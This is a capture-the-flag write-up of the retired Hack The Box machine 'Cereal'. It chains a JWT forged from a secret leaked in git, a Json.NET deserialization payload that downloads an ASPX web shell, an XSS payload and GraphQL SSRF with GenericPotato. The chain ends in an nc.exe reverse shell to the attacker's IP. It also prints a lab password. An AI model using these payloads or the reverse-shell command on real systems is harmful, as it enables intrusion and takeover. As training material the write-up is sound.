Skip to content

Latest commit

 

History

History
335 lines (267 loc) · 12.1 KB

write-up-cereal.md

File metadata and controls

335 lines (267 loc) · 12.1 KB

Cereal

This is the write-up for the box Cereal that got retired at the 29th May 2021. My IP address was 10.10.14.11 while I did this.

Let's put this in our hosts file:

10.10.10.217    cereal.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/cereal.nmap 10.10.10.217
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
|_http-server-header: Microsoft-IIS/10.0
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2022-05-14T14:30:00+00:00; +1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The web service on port 80 automatically forwards to the webpage on port 443.

Checking HTTPS (Port 443)

The certificate contains another hostname source.cereal.htb that has to be added to the /etc/hosts file to access it.

The webpage on the IP and the hostname cereal.htb is a custom-developed login form. The hostname source.cereal.htb forwards to a Compilation Error from the ISS Web Server and discloses the versions of the .NET Framework and ASP.NET:

ISS compilation error

Lets search for hidden directories and aspx files with Gobuster on source.cereal.htb:

gobuster -u https://source.cereal.htb/ dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp,aspx -k

It finds the following directories, but all of them resolve in the HTTP status code 403 Forbidden:

  • /.git
  • /uploads
  • /aspnet_client

Searching for hidden directories and aspx files in these directories:

gobuster -u https://source.cereal.htb/.git/ dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp,aspx -k

gobuster -u https://source.cereal.htb/uploads/ dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp,aspx -k

In the directory /.git is a whole repository file tree, so lets download everything with git-dumper:

git_dumper.py https://source.cereal.htb/.git/ source.cereal.htb/

It contains source code for a .NET application.

Checking the logs of the repository:

git log
(...)
commit 7bd9533a2e01ec11dfa928bd491fe516477ed291
Author: Sonny <sonny@cere.al>
Date:   Thu Nov 14 21:40:06 2019 -0600

    Security fixes

There are two potential usernames that work on this application:

  • sonny
  • chocula

One of the commits has the comment "Security fixes" so that may disclose a vulnerability:

git show 7bd9533a2e01ec11dfa928bd491fe516477ed291

This commit added a filter to prevent deserialization attacks and removed a JWT Token:

// (...)
string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
// Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
{
    return BadRequest(new { message = "The cereal police have been dispatched." });
}
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});
// (...)
var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
// (...)

This token is used in the file Services/UserService.cs which uses Claims to generate it:

// (...)
// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("****");
var tokenDescriptor = new SecurityTokenDescriptor
{
    Subject = new ClaimsIdentity(new Claim[]
    {
        new Claim(ClaimTypes.Name, user.UserId.ToString())
    }),
    Expires = DateTime.UtcNow.AddDays(7),
    SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
user.Token = tokenHandler.WriteToken(token);
// (...)

A new .NET project on Visual Studio with this code can be created and compiled. There are some modifications to make and the code can be found in this repository called cereal_jwt-generate.cs.

Executing the binary to generate a JWT token:

cereal_jwt-generate.exe

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE2NTI1NDg2MTUsImV4cCI6MTY1MzE1MzQxNSwiaWF0IjoxNjUyNTQ4NjE1fQ.RJSP7T11NA9rUK8d2G6QrYiqXfOahE5Hn9pKzvnQdUo

In the login form on cereal.htb in the file auth-header.js it shows which headers it needs:

// (...)
if (currentUser && currentUser.token) {
        return { Authorization: `Bearer ${currentUser.token}`, 'Content-Type': 'application/json'
        }
    }
// (...)

The file authentication.service.js shows that the token has to be stored in our browsers local storage:

const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage.getItem('currentUser')));
// (...)

Adding token to the local storage with the browsers Developer Tools:

Adding token with developer tools

After refreshing the page, it logs us in and shows another tool:

Cereal request

Analyzing Web Application

After requesting a cereal, it logs us out because it does not send the authorization header with the request. By intercepting the request with Burpsuite and adding the Authorization header and changing the Content-Type header, it sends a valid response back:

POST /requests HTTP/2
Host: 10.10.10.217
(...)
Content-Type: application/json
(...)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE2NTI1NDg2MTUsImV4cCI6MTY1MzE1MzQxNSwiaWF0IjoxNjUyNTQ4NjE1fQ.RJSP7T11NA9rUK8d2G6QrYiqXfOahE5Hn9pKzvnQdUo

{"json":"{\"title\":\"test1\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test1\"}"}
{"message":"Great cereal request!","id":9}

As seen before in the source code in Controllers/RequestsControllers.cs there is a filter against deserialization attacks. If this filter can be bypassed, then it should be possible to exploit this vulnerability. The code also shows that it uses the library Newtonsoft.Json.

This research paper on Blackhat.com has some examples for this library to use for the payload.

The source code of the file DownloadHelper.cs has code to download files from a web server, but the function is not called anywhere, so we will use it in our payload.

Deserialization payload:

{
  "$type": "Cereal.DownloadHelper, Cereal",
  "URL": "http://10.10.14.11/cmd.aspx",
  "FilePath": "C:/inetpub/source/uploads/cmd.aspx"
}

In Controllers/RequestsControllers.cs is another policy called RestrictIP. This is used in Startup.cs and refers to appsettings.json:

"ApplicationOptions": {
    "Whitelist": [ "127.0.0.1", "::1" ]

So the deserialization can only be accessed from localhost, which means that a Server-Side Request Forgery (SSRF) or Cross-Site Scripting (XSS) vulnerability has to be found to bypass that restriction.

In the file App/App.jsx it discloses that there is an /admin path:

<PrivateRoute exact path="/" component={HomePage} />
<PrivateRoute path="/admin" component={AdminPage} />
<Route path="/login" component={LoginPage} />

The file AdminPage/AdminPage.jsx uses the module react-marked-markdown which is not maintained anymore and has a XSS vulnerability.

Cross-Site Scripting payload:

[XSS](javascript: document.write`<img src=http://10.10.14.11/test />`)

Sending the request with the XSS payload:

POST /requests HTTP/2
Host: 10.10.10.217
(...)
Content-Type: application/json
(...)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE2NTI1NDg2MTUsImV4cCI6MTY1MzE1MzQxNSwiaWF0IjoxNjUyNTQ4NjE1fQ.RJSP7T11NA9rUK8d2G6QrYiqXfOahE5Hn9pKzvnQdUo

{"json":"{\"title\":\"[XSS](javascript: document.write`<img src=http://10.10.14.11/test />`)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test1\"}"}

After a while, the listener on my IP and port 80 gets a response back and proofs that this XSS payload works.

We now have all information to create a script that will exploit this vulnerability chain.

  1. Creating a JWT token with the secret gained from the git commit
  2. Storing the deserialization payload on the box by posting to /requests
  3. Sending the XSS payload to hit the deserialized object from localhost to bypass the RestrictIP function
  4. Waiting for admin to hit the XSS payload and upload our webshell onto the box

The script can be found in this repository called cereal_exploit.py. Executing our Python script that exploits all these vulnerabilities and uploads an ASPX Web Shell:

python3 cereal_exploit.py

It will upload the web shell cmd.aspx into the /uploads directory of source.cereal.htb.

ASPX web shell

Enumerating the File System

In the directory C:\inetpub\cereal\db is a SQLite database that contains the password of the user sonny:

type C:\inetpub\cereal\db\cereal.db
sonny:mutual.madden.manner38974

These credentials work on SSH:

ssh sonny@10.10.10.217

Privilege Escalation

The user sonny has the SeImpersonatePrivilege permission enabled:

whoami /all
Privilege Name                Description                               State
============================= ========================================= =======
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Unfortunately there is a firewall that denies connections to outbound port 135 and a RoguePotato attack is not possible. When checking the listening ports with netstat -an there is port 8080 running.

Forwarding port 8080 to our local client:

ssh -L 8080:127.0.0.1:8080 sonny@10.10.10.217

When browsing to 127.0.0.1:8080 it is possible to access this web service with the title "Cereal System Manager". By inspecting the network connections with the browsers Developer Tools, it shows that it makes a connection to /api/graphql.

GraphQL is a query language for APIs and I will use GraphQL Playground to interact with it.

URL Endpoint: http://localhost:8080/api/graphql

This IDE shows the schema and docs on the right side and we can request the data and enumerate API for useful information. The query updatePlant has an argument sourceURL that allows us to run HTTP requests:

mutation {
  updatePlant(plantId:1, version:1.1, sourceURL:"http://10.10.14.11/")
}

This feature can be used to abuse a Server-Side Request Forgery attack and escalate privileges of the current user. For this exploit I will use GenericPotato.

Downloading GenericPotato.exe and nc.exe onto the box:

powershell wget 10.10.14.11/GenericPotato.exe -o GenericPotato.exe

powershell wget 10.10.14.11/nc.exe -o nc.exe

Executing GenericPotato.exe and starting the listener on port 8888:

GenericPotato.exe -e HTTP -p nc.exe -a "10.10.14.11 80 -e powershell"

[+] Starting HTTP listener on port http://127.0.0.1:8888
[+] Listener ready

Sending a request to the listener from the GraphQL service:

mutation {
  updatePlant(plantId:1, version:1.1, sourceURL:"http://127.0.0.1:8888/")
}

After sending the request, the listener on my IP and port 80 starts a reverse shell as System!